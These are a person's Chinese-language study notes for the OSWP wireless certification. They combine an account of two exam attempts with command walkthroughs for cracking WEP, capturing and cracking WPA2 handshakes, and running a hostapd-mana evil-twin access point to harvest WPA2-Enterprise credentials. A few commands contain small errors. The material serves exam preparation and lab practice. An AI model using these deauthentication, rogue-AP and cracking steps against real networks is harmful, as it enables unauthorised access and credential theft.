OSWP 笔记

个人感受

这篇文章我不会讲原理、讲理论、讲工具,这些知识我会放到另外一篇文章讲解,这里我会讲感受,讲可能遇到的问题,引导大家思考,只要能发现问题,就能解决问题。

我是第二次才通过OSWP考试的,第一次卡在WPA2-MGT(企业网络),因此第二次考试前我的重点放在WPA2-MGT上了。

第一次考的时候,WPA2-PSK还是很简单的,常规方法。WPA2-MGT已经伪造了恶意接入点,并且获取了域用户及密码,但是一直无法连接对应的WIFI,当时很紧张,推测是目标WIFI做了MAC地址过滤,然后尝试了伪造已知的客户端MAC地址,结果还是没有连接上,原因未知。

第二次考之前的话特地恶补了WPA2-MGT的攻击方法,了解了每一步的背后原理。WPA2-PSK还是我的首选目标,还是很简单的,然后就针对WPA2-MGT开始了,这次准备很充分,没有遇到第一次考试那种情况,甚至也没有MAC地址过滤情况。不到一个小时我就完成了WPA2-PSK、WPA2-MTG的考试(OSWP考试规则:WEP、WPA2-PSK、WPA2-MGT三选二,其中WPA2-MGT是必选的),我想着来都来了,WEP也看看,然后难度就上来了。
WEP 目标网络情况如下:

  • 有一个客户端连接
  • 连接很不稳定
    因此我选择碎片(分片)攻击,密码也解密出来了,连接目标网络的这个时候环境开始出问题了,当时我没有修改网卡MAC,直接连接一直无法连接上,因此我判断可能是MAC地址过滤,因此修改MAC地址,

网卡处于玄学的状态,我还原了很多次WEP环境都没有解决,大概还原了十多次(这个时候我已经和考官沟通了,但是他没有及时回复)。距离考试结束1分钟的时候,终于连接上了网络,但是默认没有分配IP,你需要执行 sudo dhclient wlan0 -v来给你网卡分配IP,然后你curl 请求proof.txt 获取标志,最后刚完成分配IP工作,就差curl 获取proof.txt 内容就结束了,VPN断开了。

其实要是当时环境有问题我早一点跟考官说明,时间是可以延长的,包括如果你在考试前的个人认证花费太长时间,考官也会延长你的考试时间(我第一次就是这样的)。

实践知识

更新 Kali

sudo apt update
sudo apt full-upgrade -y

安装对应框架程序

sudo apt install airmon-ng reaver hashcat hostapd dnsmasq nftables apache2 libapache2-mod-php freeradius

更新本地 Git 仓库

可以使用:
git pull origin master

或者:
git pull origin main

报告生成

OSCP考试报告模板
https://github.com/noraj/OSCP-Exam-Report-Template-Markdown

创建 Markdown 文件:
ruby osert.rb init

生成 PDF:
ruby osert.rb generate

列出 USB 设备信息

sudo lsusb -vv
lsusb
sudo airmon-ng

恢复正常网络连接(重启网络)

sudo service networking restart
sudo service NetworkManager restart
或者
service networking start
service network-manager start

路线图

连接VPN

openvpn 

连接到目标系统(通过 SSH):

ssh <username>@<target_ip> -p<port> ## 使用提供的 SSH 信息连接到目标系统

扫描附近的无线网络:

iw dev wlan0 scan | grep SSID ## 检测在无线网卡(wlan0)范围内的无线网络

设置无线网卡为监视模式:

airmon-ng start wlan0 ## 将无线网卡(wlan0)设置为监视模式

监听周围的网络:

airodump-ng mon0 ## 通过监听网络(在监视模式下)检测周围的网络

更改无线网卡的频道:

iwconfig mon0 channel 3 ## 更改无线网卡所在的频道

查看无线网卡所在的频道:

iwlist mon0 channel ## 查看无线网卡所在的频道

监听目标 AP(访问点):

airodump-ng -c 3 --bssid <AP_MAC> -w <capture_file> mon0 ## 在指定频道上监听目标 AP(使用 BSSID)并将数据包保存到捕获文件

WEP

> WEP(有线等效隐私)攻击:

  **认证方式:OPN(开放认证)** 或 **SKA(共享密钥认证)**?

  > **认证方式:OPN(开放认证)**

    **是否有客户端连接到 AP(接入点)?**  
    **YES(是)** 或 **NO(否)**?

    > **YES(是)**:

      - ARP 请求重放攻击
      - 交互式数据包重放攻击
      - 去认证攻击(可以在两种情况下使用,即有或没有客户端连接)
  
    > **NO(否)**:

      - 伪造认证攻击(可以在两种情况下使用,即有或没有客户端连接)
      - 分片攻击
      - Korek ChopChop 攻击

  > **认证方式:SKA(共享密钥认证)**(绕过 WEP 共享密钥认证):

    **如果有客户端连接到 AP,可以按照以下步骤进行攻击:**

     - 去认证攻击
     - 伪造共享密钥认证攻击
     - ARP 请求重放攻击
     - 去认证攻击
     - 使用 Aircrack-ng 破解 WEP 密钥

ARP重放攻击(加速IV收集)

步骤1:开始捕获数据包:

airodump-ng --bssid <BSSID> -c <channel> -w <output file> wlan0mon
第 2 步:虚假身份验证(如果需要):

aireplay-ng -1 0 -a <BSSID> -h <your MAC> wlan0mon
步骤3:ARP重放攻击(注入ARP数据包以增加IV收集):

aireplay-ng -3 -b <BSSID> -h <your MAC> wlan0mon
您将看到指示 ARP 数据包正在重放的消息。此攻击会增加捕获的弱 IV 的数量。

步骤 4:破解 WEP 密钥:

aircrack-ng <output file>.cap

碎片攻击

当没有可用的客户端时,碎片攻击很有用,您可以通过碎片数据包来破解 WEP 密钥。

步骤1:开始捕获数据包:

airodump-ng --bssid <BSSID> -c <channel> -w <output file> wlan0mon
第 2 步:虚假身份验证(如果需要):

aireplay-ng -1 0 -a <BSSID> -h <your MAC> wlan0mon
步骤3:执行碎片攻击:

aireplay-ng -5 -b <BSSID> -h <your MAC> wlan0mon
目标是捕获数据包并将其分段,从而生成密钥流数据。

步骤4:使用Packetforge-ng创建ARP数据包:

一旦您有了可用的密钥流,就可以用来packetforge-ng创建伪造的 ARP 请求:
packetforge-ng -0 -a <AP MAC> -h <your MAC> -k 255.255.255.255 -l 255.255.255.255 -y <keystream file> -w <arp_packet>
步骤5:注入ARP数据包:

aireplay-ng -2 -r <arp_packet> wlan0mon
步骤6:破解WEP密钥:

aircrack-ng <output file>.cap

Chop-Chop 攻击

chop-chop 攻击可帮助您解密加密的 WEP 数据包的一个字节并获取密钥流。

步骤1:开始捕获数据包:

airodump-ng --bssid <BSSID> -c <channel> -w <output file> wlan0mon

第 2 步:执行 Chop-Chop 攻击:

aireplay-ng -4 -b <BSSID> -h <your MAC> wlan0mon

您将捕获可用于伪造 ARP 数据包或执行解密的数据包的一部分。

步骤3:使用packetforge-ng创建ARP数据包:

使用获取的密钥流创建 ARP 请求:

packetforge-ng -0 -a <AP MAC> -h <your MAC> -k 255.255.255.255 -l 255.255.255.255 -y <keystream file> -w <arp_packet>

步骤4:注入ARP数据包:

aireplay-ng -2 -r <arp_packet> wlan0mon

步骤 5:破解 WEP 密钥:

aircrack-ng <output file>.cap

WPA/WPA2

> WPA/WPA2

  ## 攻击:

    - 去认证攻击
  
  ## 破解网络密钥:

    - 使用 Aircrack-ng
    - 使用 JTR 和 Aircrack-ng
    - 使用 coWPAtty
    - 使用 Pyrit

攻击WPA/WPA2(PSK)

1.捕获 WPA 握手:

airodump-ng --bssid <BSSID> -c <channel> -w <output file> wlan0mon

2.取消对客户端的身份验证以强制重新进行身份验证:

aireplay-ng -0 5 -a <AP MAC> -c <Client MAC> wlan0mon

3.使用单词表破解 WPA/WPA2:推荐词汇表:rockyou.txt

aircrack-ng -w <wordlist> <output file>.cap

WPA2/WPA3 企业攻击(手册1)

使用 (WPA2 Enterprise) 的恶意 AP 攻击hostapd-mana:

安装hostapd-mana:

apt-get install hostapd-mana

配置hostapd-mana: 编辑配置文件 ( hostapd-mana.conf) 以模仿目标网络的 SSID 并设置恶意 AP 来捕获企业凭证。

运行hostapd-mana:

hostapd-mana /path/to/hostapd-mana.conf

通过记录客户端进行身份验证的尝试来监控捕获的凭据。

手动 EAP 网络钓鱼攻击使用hostapd-mana:

修改hostapd-mana.conf以启用凭证网络钓鱼。

设置eap_user_file并eap_server_cert拦截和捕获 PEAP/MSCHAPv2 凭证。

启动恶意 AP 并捕获凭证:

hostapd-mana /path/to/hostapd-mana.conf

捕获的 PEAP/MSCHAPv2 凭证可以通过以下工具进行暴力破解john:

john --wordlist=<wordlist> captured_hashes.txt

hostapd-mana.conf 模板

# hostapd-mana 命令的模板配置文件:
interface=wlan0
ssid=apname
channel=1
ieee80211n=1
hw_mode=g # 如果是 5GHz,设置为 a
wpa=3 # 1 只启用 WPA,2 启用 WPA2
wpa_key_mgmt=WPA-PSK
wpa_passphrase=ANYPASSWORD # 实际值不重要,因为我们是为了捕获握手,必须在 8 到 63 个字符之间
wpa_pairwise=TKIP CCMP # 仅适用于 WPA
rsn_pairwise =TKIP CCMP # 仅适用于 WPA2,选项 3 启用两者
mana_wpaout=/home/kali/name.hccapx # 指定保存握手的文件路径,每次握手都会追加到文件中,可以用 hashcat -m 2500 或 aircrack-ng 解密
# 如果 mana_wpaout 报错:未知配置项 'mana_wpaout',请确保使用的是 hostapd-mana 命令,而不是 hostapd 命令

WPA2/WPA3 企业攻击(手册2)

WPA2 企业版
按照以下步骤设置无线监控并执行攻击。

步骤 1:激活监控模式
airmon-ng check kill && airmon-ng start <interface>
第 2 步:检查 AUTH 列
airodump-ng <interface>
注意:AUTH 列将显示 MGT。

步骤 3:捕获握手
sudo airodump-ng -c channel -w ESSID interface
步骤 4:取消客户端身份验证以捕获握手
aireplay-ng -0 0 -a ESSID -c client_ESSID interface
步骤 5:使用 Wireshark 或 tshark 分析
收集 BSSID、ESSID 和频道后:

使用带有过滤器的 Wireshark 或 tshark:
wlan.bssid==E8:9C:12:02:66:AA && eap && tls.handshake.certificate
或者
tls.handshake.type == 11,3
步骤 6:使用 OpenSSL 保存证书
在 TLSv1 记录层 >> 握手协议 >> 证书中查看数据包详情:

openssl x509 -inform der -in cert.der -text
攻击所需的详细信息包括:发行人信息。

步骤 6.5(可选):将证书转换为 PEM 格式
openssl x509 -inform der -in cert.der -outform pem -out output.crt
步骤 7:设置 FreeRADIUS 服务器
安装方式:

sudo apt install freeradius
编辑ca.cnf和server.cnf文件以减少可疑的证书颁发机构字段。

sudo mousepad /etc/freeradius/3.0/certs/ca.cnf
sudo mousepad /etc/freeradius/3.0/certs/server.cnf
使用正确的信息更新相应部分。

步骤 8:准备证书
导航到/etc/freeradius/3.0/certs/并运行:

sudo rm dh && make
注意:如果 FreeRADIUS 需要其他配置,请忽略来自 FreeRADIUS 的错误。

步骤 9:配置 hostapd-mana
/etc/hostapd-mana/mana.conf使用正确的 SSID、证书路径和 EAP 文件进行编辑。

步骤 10:设置mana.eap_user
/etc/hostapd-mana/mana.eap_user使用所需的协议和身份验证方法进行配置。

步骤11:启动hostapd-mana
hostapd-mana /etc/hostapd-mana/mana.conf
步骤 12:使用 asleap 查找用户
使用正确的命令运行 asleap 来查找登录成功的用户。

<asleap command> -W /usr/share/john/password.lst
步骤13:创建wpa_supplicant.conf文件
添加网络配置详细信息:

network={
  ssid="NetworkName"
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity="Domain\\username"
  password="password"
  eap=PEAP
  phase1="peaplabel=0"
  phase2="auth=MSCHAPV2"
}
步骤 14:连接到网络
用于wpa_supplicant连接:

wpa_supplicant -c <config file>

实际配置

ssid=xxxxxx
interface=wlan0
driver=nl80211

channel=11
hw_mode=g
ieee8021x=1
eap_server=1
eapol_key_index_workaround=0

eap_user_file=/home/kali/MGT/mana.eap_user

ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key

private_key_passwd=whatever

dh_file=/etc/freeradius/3.0/certs/dh


auth_algs=1
wpa=3
wpa_key_mgmt=WPA-EAP


wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout=/home/kali/MGT/hostapd.credoutfile
mana_eapsuccess=1
mana_eaptls=1

实际连接配置

network={
  ssid="xxxxxx"
  scan_ssid=1
  key_mgmt=WPA-EAP
  eap=PEAP
  identity="xxxxxx\xxxxxx"
  password="xxxxxx"
  phase1="peaplabel=0"
  phase2="auth=MSCHAPV2"
}

wpa_supplicant 连接指定网络

WEP

连接到 WEP 网络永久链接

network={
  ssid="SSID"
  key_mgmt=NONE
  wep_key0=""
  wep_tx_keyidx=0
}

注意:WEP 中的密码(wep_key0)如果是十六进制则应为小写,""
十六进制密码中大写字母也可以使用

设置ssid为您要连接的网络名称。然后,将其保存wep.conf并使用以下命令进行连接:

sudo wpa_supplicant -i <int> -c <file>

然后打开另一个终端并向ip服务器发出请求DHCP:

sudo dhclient wlan0 -v

WPA

配置文件

network={
    ssid="SSID"
    psk="password"
    scan_ssid=1
    key_mgmt=WPA-PSK
    proto=WPA2
}

将proto其设置为WPA(version):

WPA
WPA2
WPA3

设置ssid为您要连接的网络名称。然后,将其保存wpa.conf并使用以下命令进行连接:

sudo wpa_supplicant -i <int> -c <file>

然后打开另一个终端并向ip服务器发出请求DHCP:

sudo dhclient wlan0 -v

WPA 企业

连接到 WPA Enterprise

network={
  ssid="SSID"
  scan_ssid=1
  key_mgmt=WPA-EAP
  eap=PEAP
  identity="identity\user"
  password="password"
  phase1="peaplabel=0"
  phase2="auth=MSCHAPV2"
}

设置identity为用户名和password密码。
设置ssid为您要连接的网络名称。然后,将其保存wpa_entp.conf并使用以下命令进行连接:

sudo wpa_supplicant -i <int> -c <file>

然后打开另一个终端并向ip服务器发出请求DHCP:

sudo dhclient wlan0 -v

参考

  • https://brandonrussell.io/OSWP-Notes/Introduction.html
  • https://zeyadazima.com/notes/oswplaybook/
  • https://wizardforcel.gitbooks.io/kali-linux-wireless-pentest/content/
  • https://github.com/legitaxes/OSWP-Notes